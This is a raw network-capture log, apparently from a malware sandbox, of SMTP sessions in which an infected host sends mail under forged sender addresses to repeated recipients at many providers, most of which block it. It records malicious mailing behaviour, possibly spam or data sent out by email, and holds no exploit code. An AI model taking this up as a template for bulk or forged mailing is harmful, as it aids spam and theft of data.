Jan 7, 2022 15:42:58.251589060 CET	25	49757	91.136.8.46	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:42:58.251755953 CET	49757	25	192.168.2.6	91.136.8.46	QUIT
Jan 7, 2022 15:42:58.292891026 CET	25	49757	91.136.8.46	192.168.2.6	221 2.0.0 mail54c50.megamailservers.eu closing connection
Jan 7, 2022 15:42:59.773555040 CET	25	49767	108.177.119.26	192.168.2.6	220 mx.google.com ESMTP c10si2524654ejf.519 - gsmtp
Jan 7, 2022 15:42:59.773756027 CET	49767	25	192.168.2.6	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:42:59.803922892 CET	25	49767	108.177.119.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:42:59.804054022 CET	49767	25	192.168.2.6	108.177.119.26	MAIL FROM: <adam.thompson@mail.lycos.com>
Jan 7, 2022 15:42:59.830972910 CET	25	49767	108.177.119.26	192.168.2.6	250 2.1.0 OK c10si2524654ejf.519 - gsmtp
Jan 7, 2022 15:42:59.831283092 CET	49767	25	192.168.2.6	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:42:59.977096081 CET	25	49767	108.177.119.26	192.168.2.6	250 2.1.5 OK c10si2524654ejf.519 - gsmtp
Jan 7, 2022 15:42:59.977247000 CET	49767	25	192.168.2.6	108.177.119.26	DATA
Jan 7, 2022 15:43:00.004215956 CET	25	49767	108.177.119.26	192.168.2.6	354 Go ahead c10si2524654ejf.519 - gsmtp
Jan 7, 2022 15:43:00.081804037 CET	25	49768	194.152.32.73	192.168.2.6	220-timmy3-world.inbox.lv ESMTP
Jan 7, 2022 15:43:00.081921101 CET	49768	25	192.168.2.6	194.152.32.73	HELO mx2.inbox.lv
Jan 7, 2022 15:43:00.123867035 CET	25	49768	194.152.32.73	192.168.2.6	250 timmy3-world.inbox.lv
Jan 7, 2022 15:43:00.123985052 CET	49768	25	192.168.2.6	194.152.32.73	MAIL FROM: <serv@inbox.lv>
Jan 7, 2022 15:43:00.166152954 CET	25	49768	194.152.32.73	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:43:00.166290998 CET	49768	25	192.168.2.6	194.152.32.73	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:43:00.208349943 CET	25	49768	194.152.32.73	192.168.2.6	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:43:00.208523035 CET	49768	25	192.168.2.6	194.152.32.73	QUIT
Jan 7, 2022 15:43:00.250554085 CET	25	49768	194.152.32.73	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:43:00.292838097 CET	25	49770	194.152.32.74	192.168.2.6	220-timmy4-world.inbox.lv ESMTP
Jan 7, 2022 15:43:00.293025970 CET	49770	25	192.168.2.6	194.152.32.74	HELO mx1.inbox.lv
Jan 7, 2022 15:43:00.334709883 CET	25	49770	194.152.32.74	192.168.2.6	250 timmy4-world.inbox.lv
Jan 7, 2022 15:43:00.335005999 CET	49770	25	192.168.2.6	194.152.32.74	MAIL FROM: <serv@inbox.lv>
Jan 7, 2022 15:43:00.376693964 CET	25	49770	194.152.32.74	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:43:00.376928091 CET	49770	25	192.168.2.6	194.152.32.74	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:43:00.398097992 CET	25	49765	91.136.8.47	192.168.2.6	220 mail187c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:42:58 +0000
Jan 7, 2022 15:43:00.398639917 CET	49765	25	192.168.2.6	91.136.8.47	HELO mx3c50.megamailservers.eu
Jan 7, 2022 15:43:00.418709040 CET	25	49770	194.152.32.74	192.168.2.6	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:43:00.420591116 CET	49770	25	192.168.2.6	194.152.32.74	QUIT
Jan 7, 2022 15:43:00.438632011 CET	25	49769	67.195.204.72	192.168.2.6	220 mtaproxy312.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:43:00.440881968 CET	25	49765	91.136.8.47	192.168.2.6	250 mail187c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:43:00.441088915 CET	49765	25	192.168.2.6	91.136.8.47	MAIL FROM: <jim.hill@care2.com>
Jan 7, 2022 15:43:00.462471962 CET	25	49770	194.152.32.74	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:43:00.550206900 CET	25	49765	91.136.8.47	192.168.2.6	250 2.1.0 <jim.hill@care2.com>... Sender ok
Jan 7, 2022 15:43:00.550523043 CET	49765	25	192.168.2.6	91.136.8.47	RCPT TO: <web@telering.at>
Jan 7, 2022 15:43:00.603410959 CET	25	49765	91.136.8.47	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:43:00.603660107 CET	49765	25	192.168.2.6	91.136.8.47	QUIT
Jan 7, 2022 15:43:00.644834995 CET	25	49765	91.136.8.47	192.168.2.6	221 2.0.0 mail187c50.megamailservers.eu closing connection
Jan 7, 2022 15:43:00.721539021 CET	49767	25	192.168.2.6	108.177.119.26	. QUIT
Jan 7, 2022 15:43:00.727021933 CET	25	49773	104.47.70.33	192.168.2.6	220 BN7NAM10FT018.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:00 +0000
Jan 7, 2022 15:43:00.822900057 CET	25	49775	195.3.96.71	192.168.2.6	220 smarthub78.res.a1.net ESMTP
Jan 7, 2022 15:43:00.823064089 CET	49775	25	192.168.2.6	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:43:00.843781948 CET	25	49775	195.3.96.71	192.168.2.6	250 smarthub78.res.a1.net
Jan 7, 2022 15:43:00.844149113 CET	49775	25	192.168.2.6	195.3.96.71	MAIL FROM: <sharon.robinson@mail.aim.com>
Jan 7, 2022 15:43:00.864919901 CET	25	49775	195.3.96.71	192.168.2.6	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:43:00.865094900 CET	49775	25	192.168.2.6	195.3.96.71	QUIT
Jan 7, 2022 15:43:00.885699987 CET	25	49775	195.3.96.71	192.168.2.6	221 smarthub78.res.a1.net Goodbye.
Jan 7, 2022 15:43:00.971002102 CET	25	49780	77.88.21.249	192.168.2.6	220 sas1-fa9d05dd56ad.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641566580-POXaGO9gN6-h0eqfTME
Jan 7, 2022 15:43:00.971158981 CET	49780	25	192.168.2.6	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:43:00.971731901 CET	25	49779	77.88.21.249	192.168.2.6	220 sas1-aab8ec309f7e.qloud-c.yandex.net (Want to use Yandex.Mail for your domain? Visit http://pdd.yandex.ru) 1641566580-3jeTHqmQAN-h0eaEEoU
Jan 7, 2022 15:43:00.971911907 CET	49779	25	192.168.2.6	77.88.21.249	HELO mx.yandex.ru
Jan 7, 2022 15:43:00.973386049 CET	25	49778	104.47.70.33	192.168.2.6	220 BN7NAM10FT052.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:00 +0000
Jan 7, 2022 15:43:00.973655939 CET	49778	25	192.168.2.6	104.47.70.33	HELO hotmail-com.olc.protection.outlook.com
Jan 7, 2022 15:43:01.023184061 CET	25	49777	67.195.204.72	192.168.2.6	220 mtaproxy308.free.mail.bf1.yahoo.com ESMTP ready
Jan 7, 2022 15:43:01.023375988 CET	49777	25	192.168.2.6	67.195.204.72	HELO mta5.am0.yahoodns.net
Jan 7, 2022 15:43:01.032341003 CET	25	49780	77.88.21.249	192.168.2.6	250 sas1-fa9d05dd56ad.qloud-c.yandex.net
Jan 7, 2022 15:43:01.032496929 CET	49780	25	192.168.2.6	77.88.21.249	MAIL FROM: <sharon.hill@care2.com>
Jan 7, 2022 15:43:01.033015966 CET	25	49779	77.88.21.249	192.168.2.6	250 sas1-aab8ec309f7e.qloud-c.yandex.net
Jan 7, 2022 15:43:01.033174038 CET	49779	25	192.168.2.6	77.88.21.249	MAIL FROM: <Donna.carter@mail.com>
Jan 7, 2022 15:43:01.078521967 CET	25	49778	104.47.70.33	192.168.2.6	250 BN7NAM10FT052.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:01.078635931 CET	49778	25	192.168.2.6	104.47.70.33	MAIL FROM: <helen.wright@hotmail.com>
Jan 7, 2022 15:43:01.094625950 CET	25	49780	77.88.21.249	192.168.2.6	250 2.1.0 <sharon.hill@care2.com> ok 1641566581-POXaGO9gN6-h1eq5jG7
Jan 7, 2022 15:43:01.094815969 CET	49780	25	192.168.2.6	77.88.21.249	RCPT TO: <macjohnsmith@yandex.ru>
Jan 7, 2022 15:43:01.095097065 CET	25	49779	77.88.21.249	192.168.2.6	250 2.1.0 <Donna.carter@mail.com> ok 1641566581-3jeTHqmQAN-h1eaLEct
Jan 7, 2022 15:43:01.095235109 CET	49779	25	192.168.2.6	77.88.21.249	RCPT TO: <macjohnsmith@tut.by>
Jan 7, 2022 15:43:01.137466908 CET	25	49777	67.195.204.72	192.168.2.6	250 mtaproxy308.free.mail.bf1.yahoo.com
Jan 7, 2022 15:43:01.137579918 CET	49777	25	192.168.2.6	67.195.204.72	MAIL FROM: <anna.harris@fastmail.fm>
Jan 7, 2022 15:43:01.165173054 CET	25	49779	77.88.21.249	192.168.2.6	550 5.7.1 No such user! 1641566581-3jeTHqmQAN-h1eaLEct
Jan 7, 2022 15:43:01.165324926 CET	49779	25	192.168.2.6	77.88.21.249	QUIT
Jan 7, 2022 15:43:01.166857004 CET	25	49780	77.88.21.249	192.168.2.6	550 5.7.1 No such user! 1641566581-POXaGO9gN6-h1eq5jG7
Jan 7, 2022 15:43:01.166960001 CET	49780	25	192.168.2.6	77.88.21.249	QUIT
Jan 7, 2022 15:43:01.182763100 CET	25	49778	104.47.70.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [BN7NAM10FT052.eop-nam10.prod.protection.outlook.com]
Jan 7, 2022 15:43:01.182943106 CET	49778	25	192.168.2.6	104.47.70.33	QUIT
Jan 7, 2022 15:43:01.226417065 CET	25	49779	77.88.21.249	192.168.2.6	221 2.0.0 Closing connecton
Jan 7, 2022 15:43:01.228028059 CET	25	49780	77.88.21.249	192.168.2.6	221 2.0.0 Closing connecton
Jan 7, 2022 15:43:01.240936041 CET	25	49781	108.177.119.26	192.168.2.6	220 mx.google.com ESMTP b15si1502184edr.111 - gsmtp
Jan 7, 2022 15:43:01.241060019 CET	49781	25	192.168.2.6	108.177.119.26	HELO gmail-smtp-in.l.google.com
Jan 7, 2022 15:43:01.251373053 CET	25	49777	67.195.204.72	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:43:01.251513004 CET	49777	25	192.168.2.6	67.195.204.72	QUIT
Jan 7, 2022 15:43:01.270200968 CET	25	49781	108.177.119.26	192.168.2.6	250 mx.google.com at your service
Jan 7, 2022 15:43:01.270322084 CET	49781	25	192.168.2.6	108.177.119.26	MAIL FROM: <alice.robinson@care2.com>
Jan 7, 2022 15:43:01.297188997 CET	25	49781	108.177.119.26	192.168.2.6	250 2.1.0 OK b15si1502184edr.111 - gsmtp
Jan 7, 2022 15:43:01.297291040 CET	49781	25	192.168.2.6	108.177.119.26	RCPT TO: <njhnbkf@gmail.com>
Jan 7, 2022 15:43:01.466320038 CET	25	49781	108.177.119.26	192.168.2.6	250 2.1.5 OK b15si1502184edr.111 - gsmtp
Jan 7, 2022 15:43:01.466453075 CET	49781	25	192.168.2.6	108.177.119.26	DATA
Jan 7, 2022 15:43:01.493408918 CET	25	49781	108.177.119.26	192.168.2.6	354 Go ahead b15si1502184edr.111 - gsmtp
Jan 7, 2022 15:43:01.502943039 CET	25	49782	98.136.96.77	192.168.2.6	220 mtaproxy502.free.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:43:01.503130913 CET	49782	25	192.168.2.6	98.136.96.77	HELO mta6.am0.yahoodns.net
Jan 7, 2022 15:43:01.545630932 CET	25	49783	74.208.5.20	192.168.2.6	554-mail.com (mxgmxus005) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:43:01.628932953 CET	25	49782	98.136.96.77	192.168.2.6	250 mtaproxy502.free.mail.ne1.yahoo.com
Jan 7, 2022 15:43:01.629049063 CET	49782	25	192.168.2.6	98.136.96.77	MAIL FROM: <anna.harris@fastmail.fm>
Jan 7, 2022 15:43:01.756145000 CET	25	49782	98.136.96.77	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:43:01.756279945 CET	49782	25	192.168.2.6	98.136.96.77	QUIT
Jan 7, 2022 15:43:01.824506998 CET	25	49785	74.208.5.22	192.168.2.6	554-mail.com (mxgmxus009) Nemesis ESMTP Service not available 554-No SMTP service 554-IP address is block listed. 554 For explanation visit https://www.gmx.net/mail/senderguidelines?ip=102.129.143.96&c=bl
Jan 7, 2022 15:43:01.975910902 CET	25	49787	194.152.32.72	192.168.2.6	220-timmy2-world.inbox.lv ESMTP
Jan 7, 2022 15:43:01.976022959 CET	49787	25	192.168.2.6	194.152.32.72	HELO mx1.inbox.lv
Jan 7, 2022 15:43:02.018028021 CET	25	49787	194.152.32.72	192.168.2.6	250 timmy2-world.inbox.lv
Jan 7, 2022 15:43:02.018150091 CET	49787	25	192.168.2.6	194.152.32.72	MAIL FROM: <daverelly@inbox.com>
Jan 7, 2022 15:43:02.059884071 CET	25	49787	194.152.32.72	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:43:02.060025930 CET	49787	25	192.168.2.6	194.152.32.72	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:43:02.101933002 CET	25	49787	194.152.32.72	192.168.2.6	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:43:02.102201939 CET	49787	25	192.168.2.6	194.152.32.72	QUIT
Jan 7, 2022 15:43:02.144185066 CET	25	49787	194.152.32.72	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:43:02.150643110 CET	25	49786	67.195.228.106	192.168.2.6	220 mtaproxy204.free.mail.gq1.yahoo.com ESMTP ready
Jan 7, 2022 15:43:02.150748014 CET	49786	25	192.168.2.6	67.195.228.106	HELO mta7.am0.yahoodns.net
Jan 7, 2022 15:43:02.186444044 CET	25	49788	194.152.32.75	192.168.2.6	220-timmy5-world.inbox.lv ESMTP
Jan 7, 2022 15:43:02.186569929 CET	49788	25	192.168.2.6	194.152.32.75	HELO mx2.inbox.lv
Jan 7, 2022 15:43:02.187639952 CET	49781	25	192.168.2.6	108.177.119.26	. QUIT
Jan 7, 2022 15:43:02.228256941 CET	25	49788	194.152.32.75	192.168.2.6	250 timmy5-world.inbox.lv
Jan 7, 2022 15:43:02.228380919 CET	49788	25	192.168.2.6	194.152.32.75	MAIL FROM: <daverelly@inbox.com>
Jan 7, 2022 15:43:02.270260096 CET	25	49788	194.152.32.75	192.168.2.6	250 2.1.0 Ok
Jan 7, 2022 15:43:02.270354033 CET	49788	25	192.168.2.6	194.152.32.75	RCPT TO: <macjohnsmith@inbox.lv>
Jan 7, 2022 15:43:02.312387943 CET	25	49788	194.152.32.75	192.168.2.6	550-5.7.1 Service unavailable; client [102.129.143.96] blocked using b.barracudacentral.org 550 5.7.1 Consider upgrading your current email service provider to the https://inbox.eu - stable and secure email service
Jan 7, 2022 15:43:02.312486887 CET	49788	25	192.168.2.6	194.152.32.75	QUIT
Jan 7, 2022 15:43:02.318883896 CET	25	49789	195.3.96.71	192.168.2.6	220 smarthub76.res.a1.net ESMTP
Jan 7, 2022 15:43:02.319165945 CET	49789	25	192.168.2.6	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:43:02.319895983 CET	25	49786	67.195.228.106	192.168.2.6	250 mtaproxy204.free.mail.gq1.yahoo.com
Jan 7, 2022 15:43:02.320096970 CET	49786	25	192.168.2.6	67.195.228.106	MAIL FROM: <anna.harris@fastmail.fm>
Jan 7, 2022 15:43:02.339976072 CET	25	49789	195.3.96.71	192.168.2.6	250 smarthub76.res.a1.net
Jan 7, 2022 15:43:02.340114117 CET	49789	25	192.168.2.6	195.3.96.71	MAIL FROM: <mariatgshq@goowy.com>
Jan 7, 2022 15:43:02.354275942 CET	25	49788	194.152.32.75	192.168.2.6	221 2.0.0 Bye
Jan 7, 2022 15:43:02.378772020 CET	25	49789	195.3.96.71	192.168.2.6	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:43:02.378937006 CET	49789	25	192.168.2.6	195.3.96.71	QUIT
Jan 7, 2022 15:43:02.399913073 CET	25	49789	195.3.96.71	192.168.2.6	221 smarthub76.res.a1.net Goodbye.
Jan 7, 2022 15:43:02.489846945 CET	25	49786	67.195.228.106	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:43:02.489968061 CET	49786	25	192.168.2.6	67.195.228.106	QUIT
Jan 7, 2022 15:43:02.529906988 CET	25	49790	104.47.56.33	192.168.2.6	220 DM3NAM02FT041.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:42:58 +0000
Jan 7, 2022 15:43:02.530056000 CET	49790	25	192.168.2.6	104.47.56.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:02.590493917 CET	25	49791	104.47.56.33	192.168.2.6	220 DM3NAM02FT013.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:42:58 +0000
Jan 7, 2022 15:43:02.590639114 CET	49791	25	192.168.2.6	104.47.56.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:02.661514997 CET	25	49790	104.47.56.33	192.168.2.6	250 DM3NAM02FT041.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:02.661636114 CET	49790	25	192.168.2.6	104.47.56.33	MAIL FROM: <serv@msn.com>
Jan 7, 2022 15:43:02.722243071 CET	25	49791	104.47.56.33	192.168.2.6	250 DM3NAM02FT013.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:02.722367048 CET	49791	25	192.168.2.6	104.47.56.33	MAIL FROM: <bob.kenneth@mail.com>
Jan 7, 2022 15:43:02.738701105 CET	25	49794	195.3.96.71	192.168.2.6	220 smarthub76.res.a1.net ESMTP
Jan 7, 2022 15:43:02.738825083 CET	49794	25	192.168.2.6	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:43:02.760251999 CET	25	49794	195.3.96.71	192.168.2.6	250 smarthub76.res.a1.net
Jan 7, 2022 15:43:02.760385036 CET	49794	25	192.168.2.6	195.3.96.71	MAIL FROM: <secur@a1plus.at>
Jan 7, 2022 15:43:02.762258053 CET	25	49793	104.47.56.33	192.168.2.6	220 DM3NAM02FT030.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:00 +0000
Jan 7, 2022 15:43:02.762378931 CET	49793	25	192.168.2.6	104.47.56.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:02.793750048 CET	25	49790	104.47.56.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM3NAM02FT041.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:02.793873072 CET	49790	25	192.168.2.6	104.47.56.33	QUIT
Jan 7, 2022 15:43:02.815567970 CET	25	49794	195.3.96.71	192.168.2.6	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:43:02.815684080 CET	49794	25	192.168.2.6	195.3.96.71	QUIT
Jan 7, 2022 15:43:02.837356091 CET	25	49794	195.3.96.71	192.168.2.6	221 smarthub76.res.a1.net Goodbye.
Jan 7, 2022 15:43:02.854675055 CET	25	49791	104.47.56.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM3NAM02FT013.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:02.854780912 CET	49791	25	192.168.2.6	104.47.56.33	QUIT
Jan 7, 2022 15:43:02.893937111 CET	25	49793	104.47.56.33	192.168.2.6	250 DM3NAM02FT030.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:02.894041061 CET	49793	25	192.168.2.6	104.47.56.33	MAIL FROM: <gerhard.lopez@mail.com>
Jan 7, 2022 15:43:02.961385012 CET	25	49795	104.47.56.33	192.168.2.6	220 DM3NAM02FT046.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:42:58 +0000
Jan 7, 2022 15:43:02.961707115 CET	49795	25	192.168.2.6	104.47.56.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:03.026369095 CET	25	49793	104.47.56.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM3NAM02FT030.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:03.026668072 CET	49793	25	192.168.2.6	104.47.56.33	QUIT
Jan 7, 2022 15:43:03.094748974 CET	25	49796	104.47.56.33	192.168.2.6	220 DM3NAM02FT020.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:02 +0000
Jan 7, 2022 15:43:03.095499039 CET	49796	25	192.168.2.6	104.47.56.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:03.163532019 CET	25	49797	104.47.73.33	192.168.2.6	220 DM6NAM04FT028.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Fri, 7 Jan 2022 14:43:02 +0000
Jan 7, 2022 15:43:03.164316893 CET	49797	25	192.168.2.6	104.47.73.33	HELO msn-com.olc.protection.outlook.com
Jan 7, 2022 15:43:03.224273920 CET	25	49796	104.47.56.33	192.168.2.6	250 DM3NAM02FT020.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:03.225095987 CET	49796	25	192.168.2.6	104.47.56.33	MAIL FROM: <frank.hill@goowy.com>
Jan 7, 2022 15:43:03.295806885 CET	25	49797	104.47.73.33	192.168.2.6	250 DM6NAM04FT028.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:03.295932055 CET	49797	25	192.168.2.6	104.47.73.33	MAIL FROM: <sec@msn.com>
Jan 7, 2022 15:43:03.319792986 CET	25	49795	104.47.56.33	192.168.2.6	250 DM3NAM02FT046.mail.protection.outlook.com Hello [102.129.143.96]
Jan 7, 2022 15:43:03.327776909 CET	49795	25	192.168.2.6	104.47.56.33	MAIL FROM: <helen_2003@yahoo.com>
Jan 7, 2022 15:43:03.354604959 CET	25	49796	104.47.56.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM3NAM02FT020.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:03.354753017 CET	49796	25	192.168.2.6	104.47.56.33	QUIT
Jan 7, 2022 15:43:03.373253107 CET	25	49798	98.136.96.93	192.168.2.6	220 mtaproxy203.aol.mail.ne1.yahoo.com ESMTP ready
Jan 7, 2022 15:43:03.373606920 CET	49798	25	192.168.2.6	98.136.96.93	HELO mx-aol.mail.gm0.yahoodns.net
Jan 7, 2022 15:43:03.427850008 CET	25	49797	104.47.73.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM6NAM04FT028.eop-NAM04.prod.protection.outlook.com]
Jan 7, 2022 15:43:03.428432941 CET	49797	25	192.168.2.6	104.47.73.33	QUIT
Jan 7, 2022 15:43:03.461709023 CET	25	49795	104.47.56.33	192.168.2.6	550 5.7.1 Service unavailable, Client host [102.129.143.96] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.96 (AS3130). [DM3NAM02FT046.eop-nam02.prod.protection.outlook.com]
Jan 7, 2022 15:43:03.461853981 CET	49795	25	192.168.2.6	104.47.56.33	QUIT
Jan 7, 2022 15:43:03.504834890 CET	25	49798	98.136.96.93	192.168.2.6	250 mtaproxy203.aol.mail.ne1.yahoo.com
Jan 7, 2022 15:43:03.505006075 CET	49798	25	192.168.2.6	98.136.96.93	MAIL FROM: <bob.lee@mail.lycos.com>
Jan 7, 2022 15:43:03.636796951 CET	25	49798	98.136.96.93	192.168.2.6	421 4.7.0 [TSS04] Messages from 102.129.143.96 temporarily deferred due to unexpected volume or user complaints - 4.16.55.1; see https://postmaster.yahooinc.com/error-codes
Jan 7, 2022 15:43:03.637017012 CET	49798	25	192.168.2.6	98.136.96.93	QUIT
Jan 7, 2022 15:43:04.534296036 CET	25	49792	91.136.8.41	192.168.2.6	220 mail291c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:43:02 +0000
Jan 7, 2022 15:43:04.534436941 CET	49792	25	192.168.2.6	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:43:04.578011990 CET	25	49792	91.136.8.41	192.168.2.6	250 mail291c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:43:04.578149080 CET	49792	25	192.168.2.6	91.136.8.41	MAIL FROM: <secur@telering.at>
Jan 7, 2022 15:43:04.616204977 CET	25	49766	213.186.119.6	192.168.2.6	220 out04.mi6.kiev.ua ESMTP Exim 4.92.3 Fri, 07 Jan 2022 16:43:04 +0200
Jan 7, 2022 15:43:04.616421938 CET	49766	25	192.168.2.6	213.186.119.6	HELO mx10.bigmir.net
Jan 7, 2022 15:43:04.676925898 CET	25	49766	213.186.119.6	192.168.2.6	250 out04.mi6.kiev.ua Hello mx10.bigmir.net [102.129.143.96]
Jan 7, 2022 15:43:04.677412033 CET	49766	25	192.168.2.6	213.186.119.6	MAIL FROM: <secur@bigmir.net>
Jan 7, 2022 15:43:04.718489885 CET	25	49792	91.136.8.41	192.168.2.6	250 2.1.0 <secur@telering.at>... Sender ok
Jan 7, 2022 15:43:04.718648911 CET	49792	25	192.168.2.6	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:43:04.738003969 CET	25	49766	213.186.119.6	192.168.2.6	250 OK
Jan 7, 2022 15:43:04.738137960 CET	49766	25	192.168.2.6	213.186.119.6	RCPT TO: <macjohnsmith@bigmir.net>
Jan 7, 2022 15:43:04.819928885 CET	25	49766	213.186.119.6	192.168.2.6	550 User not found. See http://mail.bigmir.net/err/2/
Jan 7, 2022 15:43:04.820152998 CET	49766	25	192.168.2.6	213.186.119.6	QUIT
Jan 7, 2022 15:43:04.842127085 CET	25	49792	91.136.8.41	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:43:04.842257023 CET	49792	25	192.168.2.6	91.136.8.41	QUIT
Jan 7, 2022 15:43:04.878645897 CET	25	49800	148.163.149.218	192.168.2.6	220 mx0a-0028be01.pphosted.com ESMTP pe-m0112885
Jan 7, 2022 15:43:04.878788948 CET	49800	25	192.168.2.6	148.163.149.218	HELO mxb-0028be01.gslb.pphosted.com
Jan 7, 2022 15:43:04.880667925 CET	25	49766	213.186.119.6	192.168.2.6	221 out04.mi6.kiev.ua closing connection
Jan 7, 2022 15:43:04.884505987 CET	25	49792	91.136.8.41	192.168.2.6	221 2.0.0 mail291c50.megamailservers.eu closing connection
Jan 7, 2022 15:43:05.103769064 CET	25	49800	148.163.149.218	192.168.2.6	250 mx0a-0028be01.pphosted.com Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:43:05.103926897 CET	49800	25	192.168.2.6	148.163.149.218	MAIL FROM: <debby.moore@mail.lycos.com>
Jan 7, 2022 15:43:05.350970030 CET	25	49800	148.163.149.218	192.168.2.6	250 2.1.0 Sender ok
Jan 7, 2022 15:43:05.351138115 CET	49800	25	192.168.2.6	148.163.149.218	RCPT TO: <wagnerkd@wxyz.com>
Jan 7, 2022 15:43:05.548535109 CET	25	49800	148.163.149.218	192.168.2.6	250 2.1.5 Recipient ok
Jan 7, 2022 15:43:05.548650026 CET	49800	25	192.168.2.6	148.163.149.218	DATA
Jan 7, 2022 15:43:05.810247898 CET	25	49800	148.163.149.218	192.168.2.6	354 Enter mail, end with "." on a line by itself
